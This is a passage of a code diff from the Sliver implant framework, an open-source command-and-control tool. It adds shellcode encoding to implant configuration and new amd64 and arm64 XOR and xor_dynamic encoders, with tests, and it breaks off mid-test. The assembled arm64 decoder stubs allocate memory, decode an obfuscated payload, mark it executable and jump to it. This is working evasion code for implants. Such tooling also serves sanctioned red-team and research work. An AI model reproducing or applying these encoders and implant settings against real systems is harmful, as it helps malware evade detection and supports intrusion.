_ = sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
return
}
handler(envelope.Data, func(data []byte, err error) {
_ = err
_ = sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, Data: data})
})
}(stream)
}
}()
return func() {
_ = muxSession.Close()
_ = conn.Close()
select {
case <-loopDone:
case <-time.After(5 * time.Second):
}
}
}
func sendWGYamuxEnvelope(session *yamux.Session, envelope *sliverpb.Envelope) error {
stream, err := session.Open()
if err != nil {
return err
}
defer stream.Close()
return implantWG.WriteEnvelope(stream, envelope)
}
+16 -12
View File
@@ -168,7 +168,9 @@ type ImplantConfig struct {
MaxConnectionErrors uint32
ConnectionStrategy string
SGNEnabled bool
Exports string
// ShellcodeEncoder - client-side post-processing applied to shellcode output
ShellcodeEncoder int32
Exports string
// WireGuard
WGPeerTunIP string
@@ -203,7 +205,7 @@ type ImplantConfig struct {
IsShellcode bool
RunAtLoad bool
// Donut options (Windows shellcode only)
// Shellcode options (Windows: Donut; macOS: beignet uses Compress only)
DonutEntropy uint32
DonutCompress uint32
DonutExitOpt uint32
@@ -264,6 +266,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
ObfuscateSymbols: ic.ObfuscateSymbols,
TemplateName: ic.TemplateName,
SGNEnabled: ic.SGNEnabled,
ShellcodeEncoder: clientpb.ShellcodeEncoder(ic.ShellcodeEncoder),
ReconnectInterval: ic.ReconnectInterval,
MaxConnectionErrors: ic.MaxConnectionErrors,
@@ -297,7 +300,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
DonutConfig: &clientpb.DonutConfig{
ShellcodeConfig: &clientpb.ShellcodeConfig{
Entropy: ic.DonutEntropy,
Compress: ic.DonutCompress,
ExitOpt: ic.DonutExitOpt,
@@ -479,6 +482,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.TemplateName = defaultTemplateName
}
cfg.SGNEnabled = pbConfig.SGNEnabled
cfg.ShellcodeEncoder = int32(pbConfig.ShellcodeEncoder)
cfg.IncludeMTLS = IsC2Enabled([]string{"mtls"}, pbConfig.C2)
cfg.IncludeWG = IsC2Enabled([]string{"wg"}, pbConfig.C2)
@@ -518,15 +522,15 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
if pbConfig.DonutConfig != nil {
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
cfg.DonutCompress = pbConfig.DonutConfig.Compress
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
cfg.DonutHeaders = pbConfig.DonutConfig.Headers
cfg.DonutThread = pbConfig.DonutConfig.Thread
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
cfg.DonutOEP = pbConfig.DonutConfig.OEP
if pbConfig.ShellcodeConfig != nil {
cfg.DonutEntropy = pbConfig.ShellcodeConfig.Entropy
cfg.DonutCompress = pbConfig.ShellcodeConfig.Compress
cfg.DonutExitOpt = pbConfig.ShellcodeConfig.ExitOpt
cfg.DonutBypass = pbConfig.ShellcodeConfig.Bypass
cfg.DonutHeaders = pbConfig.ShellcodeConfig.Headers
cfg.DonutThread = pbConfig.ShellcodeConfig.Thread
cfg.DonutUnicode = pbConfig.ShellcodeConfig.Unicode
cfg.DonutOEP = pbConfig.ShellcodeConfig.OEP
}
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
+75 -13
View File
@@ -24,6 +24,7 @@ package amd64
import (
"bytes"
"crypto/rand"
"fmt"
"strings"
@@ -34,6 +35,7 @@ const (
xorDynamicKeyPlaceholder = 0x41
xorDynamicPayloadPlaceholder = 0x42
xorDynamicStubSize = 46
xorDynamicStubSizeDword = xorDynamicStubSize + 1
)
var xorDynamicBadchars = map[byte]bool{
@@ -45,6 +47,9 @@ var xorDynamicBadchars = map[byte]bool{
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
//
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
// that case, this implementation falls back to a 4-byte payload terminator.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
@@ -162,12 +167,34 @@ func selectKeyTerm(key []byte) (byte, error) {
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
// Fast path: try to find a distinct 2-byte terminator not present in the
// encoded payload. This preserves compatibility with the Metasploit stub.
present := make([]bool, 1<<16)
for i := 0; i+1 < len(encoded); i++ {
present[int(encoded[i])<<8|int(encoded[i+1])] = true
}
for _, first := range allowed {
for _, second := range allowed {
term := []byte{first, second}
if !bytes.Contains(encoded, term) {
return term, nil
if first == second {
continue // avoid periodic terminators (reduces cross-boundary false matches)
}
if !present[int(first)<<8|int(second)] {
return []byte{first, second}, nil
}
}
}
// Fallback: for large/high-entropy payloads it is possible for every allowed
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
// bytes) which is overwhelmingly likely to be absent.
for attempts := 0; attempts < 2048; attempts++ {
term, err := randomDistinctBytes(allowed, 4)
if err != nil {
return nil, err
}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
@@ -185,9 +212,34 @@ func allowedDynamicChars() []byte {
return allowed
}
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
if n <= 0 {
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
}
if len(allowed) < n {
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
}
term := make([]byte, 0, n)
var seen [256]bool
var r [1]byte
for len(term) < n {
if _, err := rand.Read(r[:]); err != nil {
return nil, err
}
b := allowed[int(r[0])%len(allowed)]
if seen[b] {
continue
}
seen[b] = true
term = append(term, b)
}
return term, nil
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
@@ -200,6 +252,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
return nil, err
}
cmpLine := "cmp word ptr [rdi], 0x4242"
if len(payloadTerm) == 4 {
cmpLine = "cmp dword ptr [rdi], 0x42424242"
}
src := strings.Join([]string{
".code64",
"jmp _call",
@@ -222,7 +279,7 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
"xor byte ptr [rdi], al",
"inc rdi",
"inc rsi",
"cmp word ptr [rdi], 0x4242",
cmpLine,
"je _jmp",
"cmp byte ptr [rsi], 0x41",
"jne _lp3",
@@ -238,7 +295,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
return nil, err
}
if len(inst) != xorDynamicStubSize {
expectedStubSize := xorDynamicStubSize
if len(payloadTerm) == 4 {
expectedStubSize = xorDynamicStubSizeDword
}
if len(inst) != expectedStubSize {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
@@ -254,13 +315,14 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
}
payloadReplaced := 0
for i := 0; i+1 < len(inst); i++ {
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
inst[i] = payloadTerm[0]
inst[i+1] = payloadTerm[1]
payloadReplaced++
i++
placeholder := bytes.Repeat([]byte{xorDynamicPayloadPlaceholder}, len(payloadTerm))
for i := 0; i+len(placeholder) <= len(inst); i++ {
if !bytes.Equal(inst[i:i+len(placeholder)], placeholder) {
continue
}
copy(inst[i:i+len(payloadTerm)], payloadTerm)
payloadReplaced++
i += len(payloadTerm) - 1
}
if payloadReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
@@ -0,0 +1,41 @@
package amd64
import (
"bytes"
"testing"
)
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
allowed := allowedDynamicChars()
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
// so no 2-byte terminator can be selected.
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
for _, first := range allowed {
for _, second := range allowed {
if first == second {
continue
}
encoded = append(encoded, first, second)
}
}
term, err := selectPayloadTerm(encoded)
if err != nil {
t.Fatalf("selectPayloadTerm failed: %v", err)
}
if len(term) != 4 {
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
}
if bytes.Contains(encoded, term) {
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
}
seen := map[byte]bool{}
for _, b := range term {
if seen[b] {
t.Fatalf("terminator bytes are not distinct: %x", term)
}
seen[b] = true
}
}
+47
View File
@@ -0,0 +1,47 @@
package arm64
import (
"crypto/rand"
"fmt"
)
const xorDynamicKeySize = 8
// XorKeyGen returns a random key suitable for the XOR encoder.
func XorKeyGen() ([]byte, error) {
return randomBytes(xorKeySize)
}
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
func XorDynamicKeyGen() ([]byte, error) {
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
}
func randomBytes(length int) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
if _, err := rand.Read(buf); err != nil {
return nil, err
}
return buf, nil
}
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
for i := range buf {
for {
if _, err := rand.Read(buf[i : i+1]); err != nil {
return nil, err
}
if !badchars[buf[i]] {
break
}
}
}
return buf, nil
}
+167
View File
@@ -0,0 +1,167 @@
package arm64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorKeySize = 8
xorBlockSize = 8
)
// Xor encodes an arm64 payload using a basic XOR scheme and a small aarch64
// decoder stub (prepended) which allocates a RW buffer, decodes into it,
// marks it RX, then jumps to the decoded payload. This avoids in-place writes
// (W^X-friendly loaders may map the initial shellcode RX).
func Xor(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor encoder: empty payload")
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
paddedLen := blockCount * xorBlockSize
encoded := make([]byte, paddedLen)
copy(encoded, data)
for i := 0; i < paddedLen; i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
encoded[i+j] ^= key[j]
}
}
stub, err := buildDecoderStub(blockCount, key)
if err != nil {
return nil, err
}
return append(stub, encoded...), nil
}
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
keyValue := binary.LittleEndian.Uint64(key)
var sb strings.Builder
sb.Grow(512)
sb.WriteString("adr x19, payload\n") // x19 = encoded payload base
emitMovImm64(&sb, "x20", uint64(blockCount))
emitMovImm64(&sb, "x21", keyValue) // x21 = xor key
// macOS runner maps the shellcode RX, so decoding in place will fault.
// Instead, allocate a RW buffer, decode into it, mprotect to RX, then jump.
sb.WriteString("mov x22, x20\n")
sb.WriteString("lsl x22, x22, #3\n") // x22 = payload len in bytes
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
sb.WriteString("mov x0, #0\n")
sb.WriteString("mov x1, x22\n")
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
sb.WriteString("mov x3, #0x1002\n") // MAP_PRIVATE|MAP_ANON (darwin)
sb.WriteString("mov x4, #-1\n")
sb.WriteString("mov x5, #0\n")
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
emitMovImm64(&sb, "x16", 0x020000C5)
sb.WriteString("svc #0\n")
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
sb.WriteString("tbnz x0, #63, mmap_linux\n")
sb.WriteString("b mmap_ok\n")
sb.WriteString("mmap_linux:\n")
sb.WriteString("mov x0, #0\n")
sb.WriteString("mov x1, x22\n")
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
sb.WriteString("mov x3, #0x22\n") // MAP_PRIVATE|MAP_ANONYMOUS (linux)
sb.WriteString("mov x4, #-1\n")
sb.WriteString("mov x5, #0\n")
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
emitMovImm64(&sb, "x16", 0x020000C5)
sb.WriteString("svc #0\n")
sb.WriteString("mmap_ok:\n")
sb.WriteString("mov x23, x0\n") // x23 = dest base
// Decode/copy loop: src=x19, dst=x0, blocks=x1
sb.WriteString("mov x0, x23\n")
sb.WriteString("mov x1, x20\n")
sb.WriteString("mov x2, x19\n")
sb.WriteString("decode:\n")
sb.WriteString("ldr x3, [x2], #8\n")
sb.WriteString("eor x3, x3, x21\n")
sb.WriteString("str x3, [x0], #8\n")
sb.WriteString("subs x1, x1, #1\n")
sb.WriteString("b.ne decode\n")
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
sb.WriteString("mov x0, x23\n")
sb.WriteString("mov x1, x22\n")
sb.WriteString("mov x2, #5\n") // PROT_READ|PROT_EXEC
sb.WriteString("mov x8, #226\n") // Linux: __NR_mprotect
emitMovImm64(&sb, "x16", 0x0200004A)
sb.WriteString("svc #0\n")
sb.WriteString("br x23\n")
sb.WriteString("payload:\n")
inst, err := engine.Assemble(sb.String(), 0)
if err != nil {
return nil, err
}
if len(inst) == 0 || len(inst)%4 != 0 {
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
}
return inst, nil
}
func emitMovImm64(sb *strings.Builder, reg string, imm uint64) {
lo := uint16(imm & 0xffff)
m16 := uint16((imm >> 16) & 0xffff)
m32 := uint16((imm >> 32) & 0xffff)
m48 := uint16((imm >> 48) & 0xffff)
// Explicit movz/movk keeps the stub stable across assemblers.
fmt.Fprintf(sb, "movz %s, #0x%X\n", reg, lo)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #16\n", reg, m16)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #32\n", reg, m32)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #48\n", reg, m48)
}
@@ -0,0 +1,367 @@
package arm64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"crypto/rand"
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
// xorDynamicBadchars are used when generating/selecting terminators and keys.
// Note: unlike the amd64 Metasploit xor_dynamic implementation, the arm64
// decoder stub is not guaranteed to be badchar-free.
var xorDynamicBadchars = map[byte]bool{
0x00: true,
0x0a: true,
0x0d: true,
}
// XorDynamic encodes an arm64 payload using a dynamic XOR scheme with:
//
// stub + key + keyTerm + encodedPayload + payloadTerm
//
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
//
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
// that case, this implementation falls back to a 4-byte payload terminator.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
}
if len(key) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
}
coreKey := key
var keyTerm byte
var payloadTerm []byte
encoded := xorDynamicEncode(data, key)
explicit := false
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
coreKey = candidateKey
keyTerm = candidateKeyTerm
payloadTerm = candidatePayloadTerm
encoded = xorDynamicEncode(data, coreKey)
explicit = true
}
if containsBadchars(coreKey, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
}
if !explicit {
var err error
keyTerm, err = selectKeyTerm(coreKey)
if err != nil {
return nil, err
}
payloadTerm, err = selectPayloadTerm(encoded)
if err != nil {
return nil, err
}
} else {
if bytes.IndexByte(coreKey, keyTerm) != -1 {
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
}
if bytes.Contains(encoded, payloadTerm) {
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
}
}
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
if err != nil {
return nil, err
}
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
final = append(final, stub...)
final = append(final, coreKey...)
final = append(final, keyTerm)
final = append(final, encoded...)
final = append(final, payloadTerm...)
return final, nil
}
func xorDynamicEncode(data []byte, key []byte) []byte {
encoded := make([]byte, len(data))
for i := range data {
encoded[i] = data[i] ^ key[i%len(key)]
}
return encoded
}
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
if len(key) < 4 {
return nil, 0, nil, false
}
candidateKey := key[:len(key)-3]
if len(candidateKey) == 0 {
return nil, 0, nil, false
}
keyTerm := key[len(key)-3]
payloadTerm := key[len(key)-2:]
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
return nil, 0, nil, false
}
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
return nil, 0, nil, false
}
if containsBadchars(candidateKey, xorDynamicBadchars) {
return nil, 0, nil, false
}
encoded := xorDynamicEncode(data, candidateKey)
if bytes.Contains(encoded, payloadTerm) {
return nil, 0, nil, false
}
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
}
func selectKeyTerm(key []byte) (byte, error) {
for _, b := range allowedDynamicChars() {
if bytes.IndexByte(key, b) == -1 {
return b, nil
}
}
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
}
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
// Fast path: try to find a distinct 2-byte terminator not present in the
// encoded payload.
present := make([]bool, 1<<16)
for i := 0; i+1 < len(encoded); i++ {
present[int(encoded[i])<<8|int(encoded[i+1])] = true
}
for _, first := range allowed {
for _, second := range allowed {
if first == second {
continue // avoid periodic terminators (reduces cross-boundary false matches)
}
if !present[int(first)<<8|int(second)] {
return []byte{first, second}, nil
}
}
}
// Fallback: for large/high-entropy payloads it is possible for every allowed
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
// bytes) which is overwhelmingly likely to be absent.
for attempts := 0; attempts < 2048; attempts++ {
term, err := randomDistinctBytes(allowed, 4)
if err != nil {
return nil, err
}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
}
func allowedDynamicChars() []byte {
allowed := make([]byte, 0, 255)
for i := 1; i <= 255; i++ {
b := byte(i)
if xorDynamicBadchars[b] {
continue
}
allowed = append(allowed, b)
}
return allowed
}
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
if n <= 0 {
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
}
if len(allowed) < n {
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
}
term := make([]byte, 0, n)
var seen [256]bool
var r [1]byte
for len(term) < n {
if _, err := rand.Read(r[:]); err != nil {
return nil, err
}
b := allowed[int(r[0])%len(allowed)]
if seen[b] {
continue
}
seen[b] = true
term = append(term, b)
}
return term, nil
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
var payloadLoad string
var payloadVal uint64
switch len(payloadTerm) {
case 2:
payloadLoad = "ldrh w7, [x9]"
payloadVal = uint64(binary.LittleEndian.Uint16(payloadTerm))
case 4:
payloadLoad = "ldr w7, [x9]"
payloadVal = uint64(binary.LittleEndian.Uint32(payloadTerm))
default:
return nil, fmt.Errorf("xor_dynamic encoder: invalid payload terminator length %d", len(payloadTerm))
}
src := strings.Join([]string{
"adr x19, payload", // x19 = key start
"mov x1, x19", // x1 = scan pointer
"find_key_term:", //
"ldrb w2, [x1], #1", // read key byte
fmt.Sprintf("cmp w2, #0x%02X", keyTerm),
"b.ne find_key_term", // keep scanning
"mov x20, x1", // x20 = payload start / jump target
"mov x3, x1", // x3 = payload decode pointer
"mov x4, x19", // x4 = key decode pointer
fmt.Sprintf("movz x10, #0x%X", uint16(payloadVal&0xffff)),
fmt.Sprintf("movk x10, #0x%X, lsl #16", uint16((payloadVal>>16)&0xffff)),
fmt.Sprintf("movk x10, #0x%X, lsl #32", uint16((payloadVal>>32)&0xffff)),
fmt.Sprintf("movk x10, #0x%X, lsl #48", uint16((payloadVal>>48)&0xffff)),
// Scan for the payload terminator (it is guaranteed not to occur in the
// encoded payload), then allocate a RW buffer, decode into it, mprotect
// to RX, and jump.
"mov x9, x3", // x9 = scan pointer
"find_payload_term:",
payloadLoad,
"cmp w7, w10",
"b.eq payload_term_found",
"add x9, x9, #1",
"b find_payload_term",
"payload_term_found:",
"sub x22, x9, x20", // x22 = payload len in bytes (terminator excluded)
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
"mov x0, #0",
"mov x1, x22",
"mov x2, #3", // PROT_READ|PROT_WRITE
"mov x3, #0x1002", // MAP_PRIVATE|MAP_ANON (darwin)
"mov x4, #-1",
"mov x5, #0",
"mov x8, #222", // Linux: __NR_mmap
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
"svc #0",
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
"tbnz x0, #63, mmap_linux",
"b mmap_ok",
"mmap_linux:",
"mov x0, #0",
"mov x1, x22",
"mov x2, #3", // PROT_READ|PROT_WRITE
"mov x3, #0x22", // MAP_PRIVATE|MAP_ANONYMOUS (linux)
"mov x4, #-1",
"mov x5, #0",
"mov x8, #222", // Linux: __NR_mmap
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
"svc #0",
"mmap_ok:",
"mov x23, x0", // x23 = dest base
"mov x24, x0", // x24 = dest ptr
"mov x3, x20", // restore src pointer (payload start)
"mov x4, x19", // restore key pointer
"decode_loop:",
"cmp x3, x9", // reached terminator?
"b.eq decode_done",
"ldrb w5, [x4], #1", // load key byte
fmt.Sprintf("cmp w5, #0x%02X", keyTerm),
"b.ne have_key",
"mov x4, x19", // reset key pointer
"ldrb w5, [x4], #1", // load first key byte
"have_key:",
"ldrb w6, [x3], #1", // load payload byte + advance
"eor w6, w6, w5",
"strb w6, [x24], #1", // store + advance dest
"b decode_loop",
"decode_done:",
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
"mov x0, x23",
"mov x1, x22",
"mov x2, #5", // PROT_READ|PROT_EXEC
"mov x8, #226", // Linux: __NR_mprotect
fmt.Sprintf("movz x16, #0x%X", uint16(0x0200004A&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x0200004A>>16)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x0200004A>>32)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x0200004A>>48)&0xffff)),
"svc #0",
"br x23", // jump to decoded payload
"payload:",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) == 0 || len(inst)%4 != 0 {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
return inst, nil
}
func containsBadchars(data []byte, badchars map[byte]bool) bool {
for _, b := range data {
if badchars[b] {
return true
}
}
return false
}
@@ -0,0 +1,41 @@
package arm64
import (
"bytes"
"testing"
)
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
allowed := allowedDynamicChars()
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
// so no 2-byte terminator can be selected.
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
for _, first := range allowed {
for _, second := range allowed {
if first == second {
continue
}
encoded = append(encoded, first, second)
}
}
term, err := selectPayloadTerm(encoded)
if err != nil {
t.Fatalf("selectPayloadTerm failed: %v", err)
}
if len(term) != 4 {
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
}
if bytes.Contains(encoded, term) {
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
}
seen := map[byte]bool{}
for _, b := range term {
if seen[b] {
t.Fatalf("terminator bytes are not distinct: %x", term)
}
seen[b] = true
}
}
@@ -0,0 +1,115 @@
package arm64
import (
"bytes"
"testing"
)
func TestXorDynamicRoundTripAutoTerms(t *testing.T) {
// Ensure splitExplicitTerms() returns false by making the would-be key terminator
// (key[len-3]) present in candidateKey.
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x11, 0x77, 0x88}
payload := bytes.Repeat([]byte{0x00}, 64)
out, err := XorDynamic(payload, coreKey)
if err != nil {
t.Fatalf("XorDynamic failed: %v", err)
}
if len(out) <= len(coreKey)+1+len(payload)+2 {
t.Fatalf("xor_dynamic output too short: %d", len(out))
}
payloadTerm := out[len(out)-2:]
encodedStart := len(out) - 2 - len(payload)
if encodedStart <= 0 {
t.Fatalf("bad encodedStart: %d", encodedStart)
}
keyTerm := out[encodedStart-1]
encoded := out[encodedStart : len(out)-2]
if bytes.IndexByte(coreKey, keyTerm) != -1 {
t.Fatalf("keyTerm present in key")
}
if bytes.Contains(encoded, payloadTerm) {
t.Fatalf("payloadTerm present in encoded payload")
}
stubLen := encodedStart - 1 - len(coreKey)
if stubLen <= 0 {
t.Fatalf("unexpected stub length: %d", stubLen)
}
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
t.Fatalf("key region mismatch")
}
decoded := make([]byte, len(encoded))
for i := range encoded {
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
}
if !bytes.Equal(decoded, payload) {
t.Fatalf("decoded payload mismatch")
}
}
func TestXorDynamicRoundTripExplicitTerms(t *testing.T) {
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
payload := bytes.Repeat([]byte{0x00}, 32)
keyTerm := byte(0xFD)
payloadTerm := []byte{0xFF, 0xFE}
keyWithTerms := make([]byte, 0, len(coreKey)+3)
keyWithTerms = append(keyWithTerms, coreKey...)
keyWithTerms = append(keyWithTerms, keyTerm)
keyWithTerms = append(keyWithTerms, payloadTerm...)
out, err := XorDynamic(payload, keyWithTerms)
if err != nil {
t.Fatalf("XorDynamic failed: %v", err)
}
if len(out) <= len(coreKey)+1+len(payload)+2 {
t.Fatalf("xor_dynamic output too short: %d", len(out))
}
if !bytes.Equal(out[len(out)-2:], payloadTerm) {
t.Fatalf("payloadTerm mismatch")
}
encodedStart := len(out) - 2 - len(payload)
if encodedStart <= 0 {
t.Fatalf("bad encodedStart: %d", encodedStart)
}
if out[encodedStart-1] != keyTerm {
